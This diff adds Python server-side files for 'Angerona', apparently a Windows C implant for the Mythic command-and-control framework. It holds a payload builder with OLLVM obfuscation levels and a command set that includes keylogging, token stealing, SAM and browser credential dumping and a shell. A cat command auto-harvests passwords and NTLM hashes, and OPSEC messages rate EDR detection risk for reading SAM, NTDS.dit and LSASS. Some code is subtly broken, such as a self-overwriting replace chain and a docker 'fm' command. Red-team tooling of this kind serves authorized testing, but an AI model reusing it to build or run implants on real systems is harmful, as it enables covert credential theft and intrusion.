OpsecPostBlocked=False, # Don't block, just warn
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
browser = taskData.args.get_arg("browser") or ""
|
||||
response.DisplayParams = f"browser: {browser}"
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
"""
|
||||
Process response from agent.
|
||||
The response contains dumped browser data (cookies, logins, bookmarks).
|
||||
"""
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
|
||||
|
||||
class BrowserInfoArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise ValueError("browser_info no debe lanzarse con parámetros")
|
||||
|
||||
|
||||
class BrowserInfoCommand(CommandBase):
|
||||
cmd = "browser_info"
|
||||
needs_admin = False
|
||||
help_cmd = "browser_info"
|
||||
description = "Identify installed web browsers and the default browser on the target system. Lists all detected browsers (Chrome, Edge, Firefox, Opera, Brave, etc.) with their installation paths and version information. Also identifies the system's default browser. This command is read-only and does not modify system state."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = ["T1082", "T1518"]
|
||||
argument_class = BrowserInfoArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
This is a read-only information gathering command with low detection risk.
|
||||
"""
|
||||
message = "ℹ️ OPSEC INFO - Browser Information Gathering\n\n"
|
||||
message += "This command will:\n"
|
||||
message += " • Read registry keys (HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE)\n"
|
||||
message += " • Check file system for browser installation paths\n"
|
||||
message += " • Query default browser associations\n\n"
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • Registry reads are generally low-risk\n"
|
||||
message += " • File system enumeration may be logged (if auditing enabled)\n"
|
||||
message += " • No process creation or network activity\n\n"
|
||||
message += "✅ LOW DETECTION PROBABILITY - Read-only operation.\n"
|
||||
message += "This command does not modify system state or create suspicious artifacts."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False,
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
message = "ℹ️ OPSEC POST-CHECK - Browser Information Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Registry Read: Browser registry keys accessed\n"
|
||||
message += " • File Read: Browser installation paths checked\n\n"
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • Registry read events (if auditing enabled)\n"
|
||||
message += " • File system access logs (if auditing enabled)\n\n"
|
||||
message += "⚠️ LOW DETECTION PROBABILITY:\n"
|
||||
message += " • Read-only operations are rarely flagged\n"
|
||||
message += " • No process creation or network activity\n"
|
||||
message += " • No file modifications\n\n"
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "This command is safe for information gathering."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
"""
|
||||
Process response from agent.
|
||||
The response contains browser information in a structured format.
|
||||
"""
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,482 @@
|
||||
import pathlib
|
||||
import tempfile
|
||||
import base64
|
||||
from mythic_container.PayloadBuilder import *
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
from distutils.dir_util import copy_tree,remove_tree
|
||||
import asyncio
|
||||
import hashlib
|
||||
|
||||
import string, random, os, subprocess
|
||||
|
||||
def generate_random_string(length=100):
|
||||
chars = string.ascii_letters + string.digits # a-zA-Z0-9
|
||||
return ''.join(random.choices(chars, k=length))
|
||||
|
||||
class AngeronaAgent(PayloadType):
|
||||
name = "Angerona"
|
||||
file_extension = "exe"
|
||||
author = "OFSTeam"
|
||||
supported_os = [SupportedOS.Windows]
|
||||
wrapper = False
|
||||
wrapped_payloads = []
|
||||
note = """C implant Developed by the Kaseya OFSTeam"""
|
||||
supports_dynamic_loading = True
|
||||
c2_profiles = ["http"]
|
||||
mythic_encrypts = True
|
||||
translation_container = "angerona_translator"
|
||||
build_parameters = [
|
||||
BuildParameter(
|
||||
name="output",
|
||||
parameter_type=BuildParameterType.ChooseOne,
|
||||
description="Choose output format",
|
||||
choices=["exe", "dll"],
|
||||
default_value="exe"
|
||||
),
|
||||
BuildParameter(
|
||||
name="debug_level",
|
||||
parameter_type=BuildParameterType.ChooseOne,
|
||||
description="Debug verbosity level",
|
||||
choices=["none", "errors", "warnings", "info", "all"],
|
||||
default_value="none"
|
||||
),
|
||||
BuildParameter(
|
||||
name="debug_output",
|
||||
parameter_type=BuildParameterType.ChooseOne,
|
||||
description="Debug output destination (only used if debug_level is not 'none')",
|
||||
choices=["console", "file"],
|
||||
default_value="console"
|
||||
),
|
||||
BuildParameter(
|
||||
name="ollvm_compilation",
|
||||
parameter_type=BuildParameterType.ChooseOne,
|
||||
description="OLLVM obfuscation level (0=None, 1=Light, 2=Heavy)",
|
||||
choices=["0","1","2"],
|
||||
default_value="0"
|
||||
)
|
||||
]
|
||||
agent_path = pathlib.Path(".") / "angerona"
|
||||
agent_icon_path = agent_path / "agent_functions" / "angerona.svg"
|
||||
agent_code_path = agent_path / "agent_code"
|
||||
|
||||
build_steps = [
|
||||
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
|
||||
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
|
||||
BuildStep(step_name="Compiling", step_description="Compiling the code"),
|
||||
]
|
||||
|
||||
async def build(self) -> BuildResponse:
|
||||
resp = BuildResponse(status=BuildStatus.Success)
|
||||
|
||||
Config = {
|
||||
"payload_uuid": self.uuid,
|
||||
"callback_host": "",
|
||||
"USER_AGENT": "",
|
||||
"httpMethod": "POST",
|
||||
"post_uri": "",
|
||||
"headers": [],
|
||||
"callback_port": 80,
|
||||
"ssl": False,
|
||||
"proxyEnabled": False,
|
||||
"proxy_host": "",
|
||||
"proxy_user": "",
|
||||
"proxy_pass": "",
|
||||
}
|
||||
|
||||
# Track encryption configuration
|
||||
crypto_type_value = None
|
||||
aespsk_key_b64 = ""
|
||||
debug_messages = [] # Collect all debug messages for "Applying configuration" step
|
||||
|
||||
debug_messages.append(f"=== DEBUG INFO ===")
|
||||
debug_messages.append(f"UUID: {self.uuid}")
|
||||
debug_messages.append(f"Number of C2 profiles: {len(self.c2info)}")
|
||||
|
||||
for c2 in self.c2info:
|
||||
profile = c2.get_c2profile()
|
||||
debug_messages.append(f"\n--- C2 Profile: {profile} ---")
|
||||
|
||||
params_dict = c2.get_parameters_dict()
|
||||
if not params_dict:
|
||||
debug_messages.append("WARNING: get_parameters_dict() returned None or empty!")
|
||||
continue
|
||||
|
||||
debug_messages.append(f"Parameters dict keys: {list(params_dict.keys())}")
|
||||
debug_messages.append(f"Full params_dict: {params_dict}")
|
||||
|
||||
for key, val in params_dict.items():
|
||||
debug_messages.append(f"Processing parameter: {key} = {val} (type: {type(val).__name__})")
|
||||
|
||||
# Check if val is a dict that might contain enc_key
|
||||
if isinstance(val, dict):
|
||||
debug_messages.append(f" -> Parameter {key} is a dict with keys: {list(val.keys())}")
|
||||
|
||||
# Handle AESPSK dict: contains 'value' (crypto_type), 'enc_key', and 'dec_key'
|
||||
if key == "AESPSK" or key == "aespsk":
|
||||
# Extract crypto_type from 'value' field
|
||||
if 'value' in val:
|
||||
crypto_type_value = val['value']
|
||||
debug_messages.append(f" -> Found crypto_type in AESPSK['value']: {crypto_type_value}")
|
||||
# Extract enc_key
|
||||
if 'enc_key' in val:
|
||||
if val["enc_key"] is not None and val["enc_key"] != "":
|
||||
aespsk_key_b64 = val["enc_key"]
|
||||
try:
|
||||
decoded_len = len(base64.b64decode(val['enc_key']))
|
||||
debug_messages.append(f" -> Found enc_key in AESPSK: {val['enc_key'][:50]}... (decoded length: {decoded_len})")
|
||||
except Exception as e:
|
||||
debug_messages.append(f" -> ERROR decoding enc_key: {e}")
|
||||
else:
|
||||
debug_messages.append(f" -> enc_key in AESPSK is None or empty")
|
||||
# Handle other dict parameters that might contain enc_key
|
||||
elif 'enc_key' in val:
|
||||
debug_messages.append(f" -> Found enc_key in dict: {val['enc_key'][:50] if val['enc_key'] else 'None'}...")
|
||||
if val["enc_key"] is not None and val["enc_key"] != "":
|
||||
aespsk_key_b64 = val["enc_key"]
|
||||
try:
|
||||
decoded_len = len(base64.b64decode(val['enc_key']))
|
||||
debug_messages.append(f" -> enc_key decoded length: {decoded_len}")
|
||||
except Exception as e:
|
||||
debug_messages.append(f" -> ERROR decoding enc_key: {e}")
|
||||
else:
|
||||
aespsk_key_b64 = ""
|
||||
debug_messages.append(f" -> enc_key is None or empty")
|
||||
else:
|
||||
Config[key] = val
|
||||
else:
|
||||
Config[key] = val
|
||||
# Log the crypto_type value and store it (in case it comes as a direct parameter)
|
||||
if key == "crypto_type":
|
||||
crypto_type_value = val
|
||||
debug_messages.append(f" -> crypto_type set to: {val}")
|
||||
|
||||
# Also check if the key itself is 'enc_key'
|
||||
if key == "enc_key" and val and not isinstance(val, dict):
|
||||
aespsk_key_b64 = str(val)
|
||||
debug_messages.append(f" -> Found enc_key as direct parameter: {aespsk_key_b64[:50]}...")
|
||||
break
|
||||
|
||||
# Determine encryption based on crypto_type and enc_key
|
||||
debug_messages.append(f"\n=== ENCRYPTION DECISION ===")
|
||||
debug_messages.append(f"crypto_type_value = {crypto_type_value} (type: {type(crypto_type_value).__name__ if crypto_type_value else 'None'})")
|
||||
debug_messages.append(f"aespsk_key_b64 length = {len(aespsk_key_b64) if aespsk_key_b64 else 0}")
|
||||
debug_messages.append(f"crypto_type_value == 'aes256_hmac'? {crypto_type_value == 'aes256_hmac'}")
|
||||
debug_messages.append(f"aespsk_key_b64 is truthy? {bool(aespsk_key_b64)}")
|
||||
|
||||
encryption_enabled = False
|
||||
if crypto_type_value == "aes256_hmac" and aespsk_key_b64:
|
||||
encryption_enabled = True
|
||||
debug_messages.append(f"✓ Encryption ENABLED: crypto_type={crypto_type_value}, enc_key present")
|
||||
else:
|
||||
debug_messages.append(f"✗ Encryption DISABLED: crypto_type={crypto_type_value or 'none'}, enc_key={'present' if aespsk_key_b64 else 'missing'}")
|
||||
|
||||
# Set encryption configuration
|
||||
if encryption_enabled and aespsk_key_b64:
|
||||
Config["ENCRYPTION_ENABLED"] = "1" # Use 1/0 instead of TRUE/FALSE for direct numeric use
|
||||
Config["AESPSK_KEY"] = aespsk_key_b64
|
||||
debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '1'")
|
||||
debug_messages.append(f"Set Config[AESPSK_KEY] = '{Config['AESPSK_KEY'][:20]}...' (length: {len(Config['AESPSK_KEY'])})")
|
||||
debug_messages.append(f"Agent-side encryption ENABLED with AES256-HMAC")
|
||||
else:
|
||||
Config["ENCRYPTION_ENABLED"] = "0" # Use 1/0 instead of TRUE/FALSE for direct numeric use
|
||||
Config["AESPSK_KEY"] = ""
|
||||
debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '0'")
|
||||
debug_messages.append(f"Set Config[AESPSK_KEY] = '' (empty)")
|
||||
debug_messages.append(f"Agent-side encryption disabled")
|
||||
|
||||
if "https://" in Config["callback_host"]:
|
||||
Config["ssl"] = True
|
||||
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://", "")
|
||||
if Config["proxy_host"] != "":
|
||||
Config["proxyEnabled"] = True
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Gathering Files",
|
||||
StepStdout="Found all files for payload",
|
||||
StepSuccess=True
|
||||
))
|
||||
|
||||
# Get selected commands and create compiler defines
|
||||
selected_commands = self.commands.get_commands()
|
||||
debug_messages.append(f"\n=== COMMAND SELECTION ===")
|
||||
debug_messages.append(f"Total commands selected: {len(selected_commands)}")
|
||||
debug_messages.append(f"Selected commands: {', '.join(sorted(selected_commands))}")
|
||||
|
||||
# Map command names to preprocessor define names
|
||||
# Format: command_name -> ENABLE_XXX_CMD
|
||||
command_to_define = {
|
||||
"shell": "ENABLE_SHELL_CMD",
|
||||
"cd": "ENABLE_CD_CMD",
|
||||
"ls": "ENABLE_LS_CMD",
|
||||
"pwd": "ENABLE_PWD_CMD",
|
||||
"cp": "ENABLE_CP_CMD",
|
||||
"mkdir": "ENABLE_MKDIR_CMD",
|
||||
"rm": "ENABLE_RM_CMD",
|
||||
"cat": "ENABLE_CAT_CMD",
|
||||
"download": "ENABLE_DOWNLOAD_CMD",
|
||||
"upload": "ENABLE_UPLOAD_CMD",
|
||||
"screenshot": "ENABLE_SCREENSHOT_CMD",
|
||||
"ps": "ENABLE_PS_CMD",
|
||||
"kill": "ENABLE_KILL_CMD",
|
||||
"socks": "ENABLE_SOCKS_CMD",
|
||||
"rpfwd": "ENABLE_RPFWD_CMD",
|
||||
"keylog_start": "ENABLE_KEYLOG_START_CMD",
|
||||
"keylog_stop": "ENABLE_KEYLOG_STOP_CMD",
|
||||
"list_tokens": "ENABLE_LIST_TOKENS_CMD",
|
||||
"steal_token": "ENABLE_STEAL_TOKEN_CMD",
|
||||
"make_token": "ENABLE_MAKE_TOKEN_CMD",
|
||||
"rev2self": "ENABLE_REV2SELF_CMD",
|
||||
"whoami": "ENABLE_WHOAMI_CMD",
|
||||
"browser_info": "ENABLE_BROWSER_INFO_CMD",
|
||||
"browser_dump": "ENABLE_BROWSER_DUMP_CMD",
|
||||
"samdump": "ENABLE_SAMDUMP_CMD",
|
||||
"inline_execute": "ENABLE_INLINE_EXECUTE_CMD",
|
||||
"inline_execute_assembly": "ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD",
|
||||
}
|
||||
|
||||
# Generate compiler defines for selected commands
|
||||
command_flags = []
|
||||
for cmd_name in selected_commands:
|
||||
if cmd_name in command_to_define:
|
||||
define_name = command_to_define[cmd_name]
|
||||
command_flags.append(f"-D{define_name}")
|
||||
debug_messages.append(f" -> {cmd_name}: {define_name}")
|
||||
|
||||
# Core commands (exit, sleep) are always included, no flags needed
|
||||
# Commands with builtin=True (sleep) are always included by Mythic
|
||||
|
||||
command_flags_str = " ".join(command_flags)
|
||||
debug_messages.append(f"\nGenerated {len(command_flags)} command enable flags")
|
||||
if command_flags_str:
|
||||
debug_messages.append(f"Command flags: {command_flags_str}")
|
||||
|
||||
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
||||
copy_tree(str(self.agent_path), agent_build_path.name)
|
||||
|
||||
output_format = self.get_parameter("output")
|
||||
debug_level = self.get_parameter("debug_level")
|
||||
debug_output = self.get_parameter("debug_output")
|
||||
ollvm_compilation = int(self.get_parameter("ollvm_compilation"))
|
||||
|
||||
config_path = f"{agent_build_path.name}/agent_code/angerona/Config.h"
|
||||
|
||||
# Replace placeholders in Config.h
|
||||
debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===")
|
||||
debug_messages.append(f"Before replacement - ENCRYPTION_ENABLED='{Config.get('ENCRYPTION_ENABLED', 'NOT SET')}'")
|
||||
debug_messages.append(f"Before replacement - AESPSK_KEY='{Config.get('AESPSK_KEY', 'NOT SET')[:20] if Config.get('AESPSK_KEY') else 'NOT SET'}...'")
|
||||
|
||||
with open(config_path, "r+") as f:
|
||||
content = f.read()
|
||||
content = content.replace("%UUID%", Config["payload_uuid"])
|
||||
content = content.replace("%HOSTNAME%", Config["callback_host"])
|
||||
content = content.replace("%ENDPOINT%", Config["post_uri"])
|
||||
content = content.replace("%SSL%", "TRUE" if Config["ssl"] else "FALSE")
|
||||
content = content.replace("%PORT%", str(Config["callback_port"]))
|
||||
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
|
||||
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
|
||||
content = content.replace("%PROXYURL%", Config["proxy_host"])
|
||||
content = content.replace("%PROXYENABLED%", "TRUE" if Config["proxyEnabled"] else "FALSE")
|
||||
|
||||
# Replace encryption settings
|
||||
encryption_value = Config.get("ENCRYPTION_ENABLED", "0")
|
||||
aespsk_value = Config.get("AESPSK_KEY", "")
|
||||
debug_messages.append(f"Replacing %ENCRYPTION_ENABLED% with '{encryption_value}'")
|
||||
debug_messages.append(f"Replacing %AESPSK_KEY% with '{aespsk_value[:30] if aespsk_value else ''}...' (length: {len(aespsk_value)})")
|
||||
content = content.replace("%ENCRYPTION_ENABLED%", encryption_value)
|
||||
content = content.replace("%AESPSK_KEY%", aespsk_value)
|
||||
|
||||
f.seek(0)
|
||||
f.write(content)
|
||||
f.truncate()
|
||||
|
||||
# Verify replacement worked
|
||||
with open(config_path, "r") as f:
|
||||
content_after = f.read()
|
||||
if "#define ENCRYPTION_ENABLED" in content_after:
|
||||
import re
|
||||
match = re.search(r'#define ENCRYPTION_ENABLED\s+(\S+)', content_after)
|
||||
if match:
|
||||
debug_messages.append(f"\n✓ Verified: Config.h has ENCRYPTION_ENABLED = {match.group(1)}")
|
||||
match = re.search(r'#define AESPSK_KEY\s+"([^"]*)"', content_after)
|
||||
if match:
|
||||
key_val = match.group(1)
|
||||
debug_messages.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
|
||||
|
||||
# Send all debug info as part of "Applying configuration" step
|
||||
final_output = f"All configuration setting applied (output={output_format}, debug_level={debug_level}, debug_output={debug_output})\n\n"
|
||||
final_output += "\n".join(debug_messages)
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Applying configuration",
|
||||
StepStdout=final_output,
|
||||
StepSuccess=True
|
||||
))
|
||||
|
||||
# Local Compilation (without OLLVM)
|
||||
if ollvm_compilation == 0:
|
||||
# Determine build target and filename based on output format and debug settings
|
||||
if debug_level == "none":
|
||||
make_target = output_format
|
||||
output_filename = f"angerona.{output_format}"
|
||||
make_flags = ""
|
||||
else:
|
||||
make_target = f"debug_{output_format}"
|
||||
output_filename = f"angerona-debug.{output_format}"
|
||||
# Pass debug level and output type to Makefile
|
||||
# The Makefile will convert string values to numbers
|
||||
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
|
||||
|
||||
# Add command flags to make command
|
||||
if command_flags_str:
|
||||
make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'"
|
||||
|
||||
command = f"make -C {agent_build_path.name}/agent_code/angerona {make_target} {make_flags}"
|
||||
filename = f"{agent_build_path.name}/agent_code/angerona/build/{output_filename}"
|
||||
|
||||
proc = await asyncio.create_subprocess_shell(
|
||||
command,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE
|
||||
)
|
||||
|
||||
stdout, stderr = await proc.communicate()
|
||||
|
||||
compile_output = stdout.decode() if stdout else ""
|
||||
compile_errors = stderr.decode() if stderr else ""
|
||||
|
||||
if proc.returncode != 0:
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Compiling",
|
||||
StepStdout=f"Compilation failed!\nSTDOUT:\n{compile_output}\n\nSTDERR:\n{compile_errors}",
|
||||
StepSuccess=False
|
||||
))
|
||||
resp.status = BuildStatus.Error
|
||||
resp.build_message = f"Compilation failed: {compile_errors}"
|
||||
return resp
|
||||
|
||||
# Obtain the MD5 and SHA256 of the compiled payload
|
||||
md5_hash = hashlib.md5(open(filename, "rb").read()).hexdigest()
|
||||
sha256_hash = hashlib.sha256(open(filename, "rb").read()).hexdigest()
|
||||
|
||||
debug_info = f" (DEBUG: {debug_level}/{debug_output})" if debug_level != "none" else ""
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Compiling",
|
||||
StepStdout=f"Successfully compiled angerona{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}\nMD5: {md5_hash}\nSHA256: {sha256_hash}",
|
||||
StepSuccess=True
|
||||
))
|
||||
|
||||
resp.payload = open(filename, "rb").read()
|
||||
resp.build_message = f"Successfully built {output_filename}{debug_info}"
|
||||
|
||||
# OLLVM compilation in a Docker container
|
||||
else:
|
||||
container_name = generate_random_string(6)
|
||||
docker_volume_folder = os.path.join("/", "tmp", "converter",container_name)
|
||||
|
||||
# Translate debug variables to Docker container variables
|
||||
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
|
||||
# DEBUG_OUTPUT: console=0, file=1
|
||||
debug_level_docker = debug_level.replace("none", "0")
|
||||
debug_level_docker = debug_level.replace("errors", "1")
|
||||
debug_level_docker = debug_level.replace("warnings", "2")
|
||||
debug_level_docker = debug_level.replace("info", "3")
|
||||
debug_level_docker = debug_level.replace("all", "4")
|
||||
debug_output_docker = debug_output.replace("console", "0")
|
||||
debug_output_docker = debug_output.replace("file", "1")
|
||||
|
||||
# Ollvm parameters:
|
||||
level_1_obfuscation_parameters = "-mllvm -fla -mllvm -bcf -mllvm -sub"
|
||||
level_2_obfuscation_parameters = "-mllvm -sub -mllvm -sub_loop=3 -mllvm -split -mllvm -split_num=3 -mllvm -fla -mllvm -bcf -mllvm -bcf_loop=3 -mllvm -bcf_prob=40"
|
||||
|
||||
if ollvm_compilation == 1:
|
||||
obfuscation_parameters = level_1_obfuscation_parameters
|
||||
elif ollvm_compilation == 2:
|
||||
obfuscation_parameters = level_2_obfuscation_parameters
|
||||
|
||||
# Add command flags to OLLVM compilation
|
||||
command_flags_ollvm = command_flags_str if command_flags_str else ""
|
||||
|
||||
# Compilation Command
|
||||
compilation_command = f"clang -target x86_64-w64-mingw32 \
|
||||
-fuse-ld=lld \
|
||||
-DDEBUG_LEVEL={debug_level_docker} \
|
||||
-DDEBUG_OUTPUT={debug_output_docker} \
|
||||
{command_flags_ollvm} \
|
||||
{obfuscation_parameters} \
|
||||
-L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
|
||||
--sysroot=/usr/x86_64-w64-mingw32 \
|
||||
/tmp/angerona/*.c \
|
||||
-o /tmp/angerona/angerona.exe \
|
||||
-lntdll -lgdi32 -lws2_32 -lcrypt32 -liphlpapi -lshlwapi -lole32 -luser32 -ladvapi32 \
|
||||
-lncrypt -lbcrypt -lversion -lnetapi32 -lwinhttp "
|
||||
|
||||
# Create Docker Containter ollvm16-builder
|
||||
create_container_command = [
|
||||
"docker", "run",
|
||||
"--name", f"{container_name}",
|
||||
"--volume", f"{docker_volume_folder}:/tmp/angerona/",
|
||||
"ollvm16-builder:latest",
|
||||
"sh", "-c" ,compilation_command
|
||||
]
|
||||
|
||||
|
||||
# Delete Docker Container
|
||||
delete_container_command = [
|
||||
"docker",
|
||||
f"fm {container_name}"
|
||||
]
|
||||
|
||||
try:
|
||||
# Move agent_build_path.name to docker_volume_folder
|
||||
copy_tree(f"{agent_build_path.name}/agent_code/angerona", docker_volume_folder)
|
||||
|
||||
# Create Docker Container
|
||||
result = subprocess.run(create_container_command, capture_output=True, text=True, check=True)
|
||||
|
||||
if result.returncode != 0:
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Compiling",
|
||||
StepStdout=f"Error creating Docker Container: {result.stderr}",
|
||||
StepSuccess=False
|
||||
))
|
||||
resp.status = BuildStatus.Error
|
||||
resp.build_message = f"Error creating Docker Container: {result.stderr}"
|
||||
return resp
|
||||
|
||||
# Get the output from the Docker Container
|
||||
resp.payload = open(f"{docker_volume_folder}/angerona.exe", "rb").read()
|
||||
resp.build_message = "Successfully built!"
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Compiling",
|
||||
StepStdout=f"Successfully built angerona.exe",
|
||||
StepSuccess=True
|
||||
))
|
||||
|
||||
# Delete Docker Container
|
||||
delete_container_command = await asyncio.create_subprocess_shell(
|
||||
" ".join(delete_container_command),
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE
|
||||
)
|
||||
remove_tree(docker_volume_folder)
|
||||
remove_tree(str(self.agent_path))
|
||||
except Exception as e:
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Compiling",
|
||||
StepStdout=f"Error creating Docker Container: {e}",
|
||||
StepSuccess=False
|
||||
))
|
||||
resp.status = BuildStatus.Error
|
||||
resp.build_message = f"Error creating Docker Container: {e}"
|
||||
return resp
|
||||
return resp
|
||||
@@ -0,0 +1,157 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class CatArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="file",
|
||||
type=ParameterType.String,
|
||||
description="Ruta del archivo a leer",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Se debe indicar un archivo a leer")
|
||||
self.add_arg("file", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
|
||||
class CatCommand(CommandBase):
|
||||
cmd = "cat"
|
||||
needs_admin = False
|
||||
help_cmd = "cat <file_path>"
|
||||
description = "Read and display the contents of a file on the target system. Supports both absolute and relative paths (relative paths are resolved using the current working directory). Automatically detects and extracts credentials from file contents including: plaintext passwords, NTLM hashes (aad3b435b51404ee:hash format), and domain credentials. Detected credentials are automatically added to Mythic's credential store. Useful for reading configuration files, log files, and credential databases."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = CatArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[SupportedOS.Windows],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about file reading risks, especially for sensitive files.
|
||||
"""
|
||||
file_path = taskData.args.get_arg("file") or ""
|
||||
|
||||
# Sensitive file patterns
|
||||
sensitive_patterns = {
|
||||
"sam": "SAM database - Credential extraction heavily monitored",
|
||||
"system": "SYSTEM hive - Registry access logged",
|
||||
"security": "SECURITY hive - Security database access logged",
|
||||
"ntds.dit": "NTDS.dit - Active Directory database, highly monitored",
|
||||
"lsass": "LSASS memory - Credential extraction heavily monitored",
|
||||
"passwd": "Password files - Credential access monitored",
|
||||
"shadow": "Shadow files - Credential access monitored",
|
||||
"config": "Configuration files - May contain credentials",
|
||||
}
|
||||
|
||||
warnings = []
|
||||
file_lower = file_path.lower()
|
||||
|
||||
for pattern, reason in sensitive_patterns.items():
|
||||
if pattern in file_lower:
|
||||
warnings.append(f"🚨 {pattern}: {reason}")
|
||||
|
||||
message = "⚠️ OPSEC WARNING - File Read Detected\n\n"
|
||||
message += "File reading is monitored by:\n"
|
||||
message += " • EDR/XDR solutions\n"
|
||||
message += " • Data loss prevention (DLP) systems\n"
|
||||
message += " • File access monitoring tools\n"
|
||||
message += " • File access auditing (if enabled)\n\n"
|
||||
|
||||
if file_path:
|
||||
message += f"Target File: {file_path}\n\n"
|
||||
|
||||
if warnings:
|
||||
message += "🚨 SENSITIVE FILE DETECTED:\n"
|
||||
for warning in warnings:
|
||||
message += f" {warning}\n"
|
||||
message += "\n"
|
||||
|
||||
